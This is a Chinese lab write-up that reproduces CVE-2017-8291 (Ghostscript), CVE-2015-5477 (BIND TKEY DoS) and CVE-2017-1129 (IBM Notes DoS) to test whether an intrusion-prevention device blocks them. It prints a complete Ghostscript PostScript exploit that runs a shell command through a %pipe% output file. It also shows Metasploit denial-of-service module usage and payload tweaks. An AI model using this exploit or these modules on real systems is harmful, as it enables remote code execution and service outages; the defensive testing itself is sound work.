一、CVE-2017-8291 Ghostscript远程代码执行漏洞 ——缓存区溢出
1.简介
Artifex Ghostscript 2017-04-26及之前版本中的漏洞允许攻击者通过带有一个子串的.rsdparams类型混淆绕过-dSAFER,并执行远程命令,这个子串位于一个特制的输入在gs程序里的.eps文档中。
2.靶场搭建
CVE-2017-8291这个靶场在vulfocus中没有找到现场的,查阅资料发现vulhub上有对应的靶场,因此装了一下vulhub。先想从官网上下载,发现指向https://github.com/vulhub/vulhub/archive/master.zip网站,电脑无法访问github。后来尝试用手机访问,可以成功访问,就用手机下载后,发回给电脑。
然后搭建靶场
#解压vulhub-master文件
root@admin:~/tmp# unzip vulhub-master.zip
#查找对应的容器
root@admin:~/tmp# cd vulhub-master/
root@admin:~/tmp/vulhub-master# find ./ | grep 8291
./python/PIL-CVE-2017-8291
./python/PIL-CVE-2017-8291/app.py
./python/PIL-CVE-2017-8291/01.png
./python/PIL-CVE-2017-8291/README.md
./python/PIL-CVE-2017-8291/docker-compose.yml
./python/PIL-CVE-2017-8291/poc.png
#安装docker-compose
root@admin:~/tmp/vulhub-master# apt install docker-compose
#进入对应容器,拉起容器
root@admin:~/tmp/vulhub-master/python/PIL-CVE-2017-8291# docker-compose up -d
Creating network "pil-cve-2017-8291_default" with the default driver
Pulling web (vulhub/ghostscript:9.21-with-flask)...
9.21-with-flask: Pulling from vulhub/ghostscript
7919f5b7d602: Pull complete
c6c44661db59: Pull complete
9c50e2687d10: Pull complete
27869d33eb7b: Pull complete
e228e686e2b9: Pull complete
a3ed95caeb02: Pull complete
Digest: sha256:4e42c01b5f0670f845cdc4c2a76a1f6baa965d58184e2e040a5c635fd7059654
Status: Downloaded newer image for vulhub/ghostscript:9.21-with-flask
Creating pil-cve-2017-8291_web_1 ... done
root@admin:~/tmp/vulhub-master/python/PIL-CVE-2017-8291# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
95b523f0f6cf vulhub/ghostscript:9.21-with-flask "python app.py" 26 minutes ago Up 26 minutes 0.0.0.0:8000->8000/tcp, :::8000->8000/tcp pil-cve-2017-8291_web_1
3.攻击源上传POC
搭建成功后,攻击源访问http://192.168.20.240:8000端口
创建一个poc文件,文件内容为 ,该文件会在靶机的tmp目录下创建aaaaa文件
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
/size_from 10000 def
/size_step 500 def
/size_to 65000 def
/enlarge 1000 def
%/bigarr 65000 array def
0
size_from size_step size_to {
pop
1 add
} for
/buffercount exch def
/buffersizes buffercount array def
0
size_from size_step size_to {
buffersizes exch 2 index exch put
1 add
} for
pop
/buffers buffercount array def
0 1 buffercount 1 sub {
/ind exch def
buffersizes ind get /cursize exch def
cursize string /curbuf exch def
buffers ind curbuf put
cursize 16 sub 1 cursize 1 sub {
curbuf exch 255 put
} for
} for
/buffersearchvars [0 0 0 0 0] def
/sdevice [0] def
enlarge array aload
{
.eqproc
buffersearchvars 0 buffersearchvars 0 get 1 add put
buffersearchvars 1 0 put
buffersearchvars 2 0 put
buffercount {
buffers buffersearchvars 1 get get
buffersizes buffersearchvars 1 get get
16 sub get
254 le {
buffersearchvars 2 1 put
buffersearchvars 3 buffers buffersearchvars 1 get get put
buffersearchvars 4 buffersizes buffersearchvars 1 get get 16 sub put
} if
buffersearchvars 1 buffersearchvars 1 get 1 add put
} repeat
buffersearchvars 2 get 1 ge {
exit
} if
%(.) print
} loop
.eqproc
.eqproc
.eqproc
sdevice 0
currentdevice
buffersearchvars 3 get buffersearchvars 4 get 16#7e put
buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put
buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put
put
buffersearchvars 0 get array aload
sdevice 0 get
16#3e8 0 put
sdevice 0 get
16#3b0 0 put
sdevice 0 get
16#3f0 0 put
currentdevice null false mark /OutputFile (%pipe%touch /tmp/aaaaa)
.putdeviceparams
1 true .outputpage
.rsdparams
%{ } loop
0 0 .quit
%asdf
将文件格式改为png,通过http://192.168.20.240:8000上传poc.png
4.攻击成功
上传成功后,进入靶机,查看 tmp下创建了aaaaa文件
5.测试DUT防护
将靶机下的aaaaa和poc.png都删除,DUT开启入侵防御,再次上传POC文件,上传失败,链接被重置,查看设备有入侵防御拦截告警
二、CVE-2015-5477 ISC BIND TKEY查询断言失败漏洞 ——应用层DDOS攻击
1.简介
ISC BIND是美国Internet Systems Consortium(ISC)公司所维护的一套实现了DNS协议的开源软件。ISC BIND 9.9.7-P1及之前版本和9.10.2-P2及之前版本的named中存在安全漏洞。远程攻击者可借助TKEY查询利用该漏洞造成拒绝服务(REQUIRE断言失败和守护进程退出)。
2.靶场搭建
受影响的BIND 版本,ISC BIND 9.1.0 ->9.8.x,9.9.0 -> 9.9.7-P1,9.10.0 -> 9.10.2-P2
没找到存在漏洞的版本,直接安装最新的BIND9版本,只是为了提供DNS服务端口
apt-get install -y bind9
3.攻击源
攻击源使用kali服务器自带的metasploit工具,查找CVE-2015-5477的对应模块,发起攻击。
#查找CVE-2015-5477相关模块
msf6 > search CVE-2015-5477
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/dos/dns/bind_tkey 2015-07-28 normal No BIND TKEY Query Denial of Service
Interact with a module by name or index. For example info 0, use 0 or use auxiliary/dos/dns/bind_tkey
#通过上面的查找结果加载对应模块
msf6 > use auxiliary/dos/dns/bind_tkey
#配置DNS查询服务器ip,即靶机ip
msf6 auxiliary(dos/dns/bind_tkey) > set rhosts 192.168.20.240
rhosts => 192.168.20.240
#查看配置
msf6 auxiliary(dos/dns/bind_tkey) > show options
Module options (auxiliary/dos/dns/bind_tkey):
Name Current Setting Required Description
---- --------------- -------- -----------
BATCHSIZE 256 yes The number of hosts to probe in ea
ch set
INTERFACE no The name of the interface
RHOSTS 192.168.20.240 yes The target host(s), see https://do
cs.metasploit.com/docs/using-metas
ploit/basics/using-metasploit.html
RPORT 53 yes The target port (UDP)
SRC_ADDR no Source address to spoof
THREADS 10 yes The number of concurrent threads
View the full module info with the info, or info -d command.
#运行攻击
msf6 auxiliary(dos/dns/bind_tkey) > run
[*] Sending packet to 192.168.20.240
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(dos/dns/bind_tkey) >
4.攻击成功
由于没有安装存在漏洞的ISC bind版本,所以靶机上看不出效果。对于代码也不是很熟悉,所以不太懂。只是通过在靶机端抓包观察发送的报文是符合攻击特点的。
5.测试DUT防护
DUT开启防护后,包含攻击特性的DNS报文会被重置,DUT上有告警,靶机上抓不到DNS攻击报文了。
问题
过程中,发现meta自带的攻击报文构造无法触发DUT的检测,查询的DUT的检测规则后,对meta的攻击源rb代码进行少许改动name长度调整为固定8,TXT类型调整为c0 0c后,可以正常命中。代码所在位置
/usr/share/metasploit-framework/modules/auxiliary/dos/dns/bind_tkey.rb
三、CVE-2017-1129 IBM Notes encodeURI拒绝服务漏洞——应用层DDOS
1.简介
IBM Notes是美国IBM公司的一套协同办公软件。该软件具备电子邮件、日历、日程安排等办公功能。IBM Notes中存在拒绝服务漏洞。攻击者可通过诱使用户点击恶意的链接利用该漏洞造成拒绝服务(客户端挂起和重启)。以下版本受到影响:IBM Notes 9.0.1版本至9.0.1 FP8 IF1版本,9.0版本至9.0 IF4版本,8.5.3版本至8.5.3 FP6 IF13版本,8.5.2版本至8.5.2 FP4 IF3版本,8.5.1版本至8.5.1 FP5 IF5版本,8.5版本。
2.靶场搭建
下载IBM Notes 9.0.1 版本,并安装到WINDOW10系统上即可
3.攻击源
攻击源使用kali服务器自带的metasploit工具,查找CVE-2017-1129的对应模块,run对应模块后,kali服务器会监听对应的URL
4. 攻击成功
靶机通过IBM 自带浏览器访问kali监听的URL,kali发送带攻击字段的response,导致靶机受到dos攻击,浏览器卡住,并提示异常,是否停止运行脚本
5.测试DUT防护
DUT开启防护功能后,靶机无法访问kali监听的URL,DUT 重置链接并产生告警日志
问题
使用kali自带的攻击脚本时,发现DUT无法拦截,查找DUT对应规则后,调整kali攻击代码,将攻击字段的"} catch (d)" 改为 "}catch(d)"后,可以命中DUT规则。代码在kaili内路径
/usr/share/metasploit-framework/modules/auxiliary/dos/http/ibm_lotus_notes.rb